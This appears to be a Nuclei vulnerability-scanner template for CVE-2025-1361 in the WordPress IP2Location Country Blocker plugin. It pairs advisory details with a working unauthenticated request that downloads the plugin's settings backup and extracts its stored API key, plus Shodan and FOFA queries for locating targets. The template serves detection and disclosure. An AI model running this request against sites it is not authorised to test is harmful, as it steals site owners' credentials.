id: CVE-2025-1361

info:
  name: IP2Location Country Blocker < 2.38.9 - Unauthenticated Information Disclosure
  author: pussycat0x
  severity: high
  description: |
    IP2Location Country Blocker plugin for WordPress up to version 2.38.8 contains a regular information exposure caused by missing capability checks on admin_init(), letting unauthenticated attackers view plugin settings, exploit requires no special conditions.
  impact: |
    Unauthenticated attackers can view plugin settings, potentially leading to information disclosure or further attacks.
  remediation: |
    Update to the latest version of the plugin that fixes the capability check issue.
  reference:
    - https://www.wordfence.com/threat-intel/vulnerabilities/id/b63bc2b6-1abc-4cfa-a7e5-3995640f66a7
    - https://wpscan.com/vulnerability/3629be51-7c7e-4677-917f-a0693df3980f/
    - https://wordpress.org/plugins/ip2location-country-blocker/
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
    cvss-score: 7.5
    cve-id: CVE-2025-1361
    cwe-id: CWE-862
    epss-score: 0.01265
    epss-percentile: 0.66821
    cpe: cpe:2.3:a:ip2location:country_blocker:*:*:*:*:*:wordpress:*:*
  metadata:
    verified: true
    max-request: 1
    publicwww-query: "/wp-content/plugins/ip2location-country-blocker/"
    fofa-query: body="/wp-content/plugins/ip2location-country-blocker/"
    shodan-query: http.html:"/wp-content/plugins/ip2location-country-blocker/"
  tags: cve,cve2025,wordpress,wp-plugin,wp-scan,ip2location-country-blocker,unauth

http:
  - raw:
      - |
        POST /wp-admin/admin-post.php HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/x-www-form-urlencoded

        action=download_backup

    matchers:
      - type: dsl
        dsl:
          - 'contains_all(body, "ip2location_country_blocker_api_key")'
          - 'status_code == 200'
          - 'contains(content_type, "application/json")'
        condition: and

    extractors:
      - type: regex
        name: api_key
        part: body
        group: 1
        regex:
          - '"ip2location_country_blocker_api_key":"([^"]*)"'
# digest: 4b0a00483046022100faf46a16b8f334a176f31d2e11f9a9c94beee019f1daba2a994872393b55134e022100de633924a5a033c926ce8fc43444dc19a3ac25074b3bd89c59bd9ae0e812c2fd:922c64590222798bb761d5b6d8e72950